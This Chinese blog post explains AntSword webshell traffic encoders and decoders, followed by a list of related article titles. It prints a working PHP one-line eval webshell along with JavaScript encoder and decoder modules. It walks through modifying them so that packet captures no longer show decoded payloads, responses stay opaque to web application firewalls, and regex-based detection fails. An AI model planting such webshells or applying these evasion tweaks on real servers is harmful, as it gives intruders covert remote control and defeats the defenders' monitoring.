蚁剑编解码器原理

  • 蚁剑编解码器原理
    • 一、编码器
      • 编码器修改
    • 二、解码器

蚁剑编解码器原理

编码器:对发送流量进行编码,服务端进行解码

解码器:对服务端对返回的流量进行解码

一、编码器

输入三个参数
pwd:连接密码,类型string。
data:传输的数据数组,类型string数组,。
ext:一些扩展选项,在一些场景可能会用到。输出一个参数
data: 编码器处理后的数组,这个你可以通过代理查看post提交了哪些数据,和这里的data是完全一样的

下面是编码器默认生成的代码

原理:将编码和解密后的代码 全都传递过去

我们在抓包的时候会看到有一段 明文代码,也就是解密后的代码

以下代码的功能:

  • 将要发送的数据进行 编码,对应 data[randomID]
  • 将从服务器接收的数据进行 解码,对应 data[pwd],解码后依然会再次发给服务器,因此就能在requestBody中看到 明文传输
/*** php::base64编码器* Create at: 2021/10/17 14:07:48*/'use strict';/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {// ##########    请在下方编写你自己的代码   ###################// 以下代码为 PHP Base64 样例// 生成一个随机变量名let randomID = `_0x${Math.random().toString(16).substr(2)}`;// 原有的 payload 在 data['_']中// 取出来之后,转为 base64 编码并放入 randomID key 下data[randomID] = Buffer.from(data['_']).toString('base64');// shell 在接收到 payload 后,先处理 pwd 参数下的内容,data[pwd] = Buffer.from(data['_']).toString('base64');// ##########    请在上方编写你自己的代码   ###################// 删除 _ 原有的payloaddelete data['_'];// 返回编码器处理后的 payload 数组return data;
}

编码器修改

如果不想要传递解码后的代码这一步,需要更改以下两个内容

  1. 上传到 服务器的webshell(一句话木马)

    <?php eval(base64_decode($_POST["test"]));?>
    
  2. 修改编码器的内容,使之不发送 解码后的内容,直接只发送 base64编码后的数据

    /*** php::base64编码器* Create at: 2021/10/17 22:03:40*/'use strict';/*
    * @param  {String} pwd   连接密码
    * @param  {Array}  data  编码器处理前的 payload 数组
    * @return {Array}  data  编码器处理后的 payload 数组
    */
    module.exports = (pwd, data, ext={}) => {// ##########    请在下方编写你自己的代码   ###################// 以下代码为 PHP Base64 样例// 生成一个随机变量名//let randomID = `_0x${Math.random().toString(16).substr(2)}`;// 原有的 payload 在 data['_']中// 取出来之后,转为 base64 编码并放入 randomID key 下//data[randomID] = Buffer.from(data['_']).toString('base64');// shell 在接收到 payload 后,先处理 pwd 参数下的内容,data[pwd] = Buffer.from(data['_']).toString('base64');// ##########    请在上方编写你自己的代码   ###################// 删除 _ 原有的payloaddelete data['_'];// 返回编码器处理后的 payload 数组return data;
    }
    

然后进行连接,会显示连接成功

最后抓包看一下数据包,这样就看不到 解码后的代码了,隐蔽性就有了很大的提升

但是像这种通过虚拟终端执行命令,防御者可以通过命令执行回显内容进而判断是 攻击事件

因此我们还需要考虑解码模块,也就是说解码器不要选择默认的方式

二、解码器

首先看一下解码的两个关键函数 asoutputdecode_buff

  • asoutput:将返回的数据编码
  • decode_buff:接收时进行解码操作

ext是一个扩展选项,有包括密码等选项,可扩展操作,比如需要有key进行解码。

/*** php::base64解码器* Create at: 2021/10/17 22:02:33*/'use strict';module.exports = {/*** @returns {string} asenc 将返回数据base64编码* 自定义输出函数名称必须为 asenc* 该函数使用的语法需要和shell保持一致*/asoutput: () => {return `function asenc($out){return @base64_encode($out);}`.replace(/\n\s+/g, '');},/*** 解码 Buffer* @param {string} data 要被解码的 Buffer* @returns {string} 解码后的 Buffer*/decode_buff: (data, ext={}) => {return Buffer.from(data.toString(), 'base64');}
}

编写解码器之后,进行测试,会发现响应包也进行了加密,并且返回部分前后有分界字符串,只有客户端知道分界位置。WAF不知道,也就没办法解码

但是随机技术的不断发展与进步,很多时候WAF也能够通过正则匹配的方式进行有效的识别 base64 编码,因此我们需要更复杂的加密无绕过WAF

例如,我们执行了一个命令,因为命令是固定不变的,因此编码后也是固定不变的,就能够以此作为特征去检测

蚁剑从入门到魔改【二】· 编解码器原理及改造相关推荐

  1. 蚁剑从入门到魔改【一】

    蚁剑从入门到魔改[一] 一.明文通信 二.密文通信 三.自定义编解码 source/core/php/index.js source/core/php/base64.js 自定义加密算法 四.参考文章 ...

  2. 渗透测试-流量加密之冰蝎蚁剑

    文章目录 前言 冰蝎 PHP冰蝎马 通信数据包 冰蝎初体验 冰蝎攻与防 蚁剑 蚁剑的安装 蚁剑初体验 蚁剑编码器 蚁剑攻与防 总结 前言 一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一 ...

  3. 我不允许还有人没下载使用中国蚁剑,修改蚁剑特征冲它

    目录 一.中国蚁剑下载 二.中国蚁剑安装 第一步:解压后,打开加载器antsword-Loder文件,并运行AntSword.exe程序 第二步:再次打开AntSword.exe,就能再次运行了 三. ...

  4. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  5. ss一键搭建php,#二次更新# 基于宝塔面板开发SSPANEL魔改V3一键脚本

    二次更新说明,支持宝塔6.0版本.优化安装逻辑,提高安装成功率. 具体更新说明如下: 宝塔6.0添加网站默认地址进行了变动,例如添加域名 4ker.cc,默认站点名字变为了4ker_cc,如图所示: ...

  6. OneNav一为主题魔改教程(二):使用纯css增加网站Logo扫光效果--洞五洞洞幺

    今日主题: 使用纯css增加网站Logo扫光效果 声明:本篇有违"魔改"这个标题:本篇只为增加收录.并且复习使用纯css给logo加上扫光效果. 效果: 可以目测 洞五洞洞幺 导航 ...

  7. 中国蚁剑的下载、安装与使用

    一.中国蚁剑下载.安装 百度网盘链接:https://pan.baidu.com/s/1Fl0_hFtCtfUgcNIOwKeGEA 提取码:nvjc 共包含2个文件: antSword.zip An ...

  8. 【网络结构】小议如何跳出魔改网络结构的火坑

    公众号关注 "ML_NLP" 设为 "星标",重磅干货,第一时间送达! 机器学习算法与自然语言处理出品 @公众号原创专栏作者 纵横 知乎专栏 | 机器不学习 引 ...

  9. 代码已开源,一起魔改大西瓜!

    上了两次微博热搜的<合成大西瓜>,想必大家都玩过了,好多人刚开始嗤之以鼻,最后真香了,说实话有点上头. 其火热程度直登热搜第三,阅读量6.9亿,朋友圈里也在纷纷安利. 合成大西瓜 游戏界面 ...

最新文章

  1. 实时智能决策引擎在蚂蚁金服风险管理中的实践
  2. 你有什么技能是公司离不开你
  3. leetcode:242 : 有效的字母异位词
  4. 程序员辞职的7个常用理由,你用的是哪一个?
  5. 苹果公司的企业文化_百度、苹果、脉脉等互联网大厂的企业文化衫还能这么潮?...
  6. 如何拔出手上的刺,假如不用缝衣针挑出来的话
  7. office mime type
  8. php - MySQL创建数据库和数据表
  9. python数据结构与算法 pdf_『python核心编程pdf』数据结构与算法 Python语言描述
  10. jsp java 购物车,JSP购物车实例[一]
  11. VMware12虚拟机怎么下载安装?保姆级安装教程,让你一分钟学会
  12. 用Java算出百钱买百鸡
  13. Ring3与Ring0的通信
  14. kryo java_使用Kryo序列化任意Java对象(获取IllegalAccessError)
  15. 儒家文化圈孕育人工智能新文明
  16. 批量提取PDF和图片发票信息 2.2
  17. 向幼儿群体提供实用的少儿编程
  18. 【云计算•云原生】1.什么是云计算?它为什么这么火?
  19. 《我如何自己做自己的导师》
  20. 移动端蚂蚁组件(antd-mobile)- 解决日期组件中的语系问题

热门文章

  1. 基于永磁同步电机的容积卡尔曼滤波ckf转速位置估计,估计效果很好
  2. 物联卡是不是上网卡?物联卡能永久使用吗?
  3. 非全局安装npm,在项目目录下执行命令
  4. 泰文,越南等字符串存数据库变成问号,解决办法。
  5. 为什么选择计算机专业
  6. 文件改日期 电梯卡dump_求修改电梯卡的日期 及楼层更改成整栋楼都可刷
  7. c++ 无穷大怎么表示_怎么确认贴片二极管型号
  8. 怎样用cmd运行cmd,并在新打开的cmd中运行命令
  9. 短信接口调用-手机短信,验证码
  10. 计算机工程的突出技能该怎么写,没有科研竞赛,计算机保研简历应该怎么写?...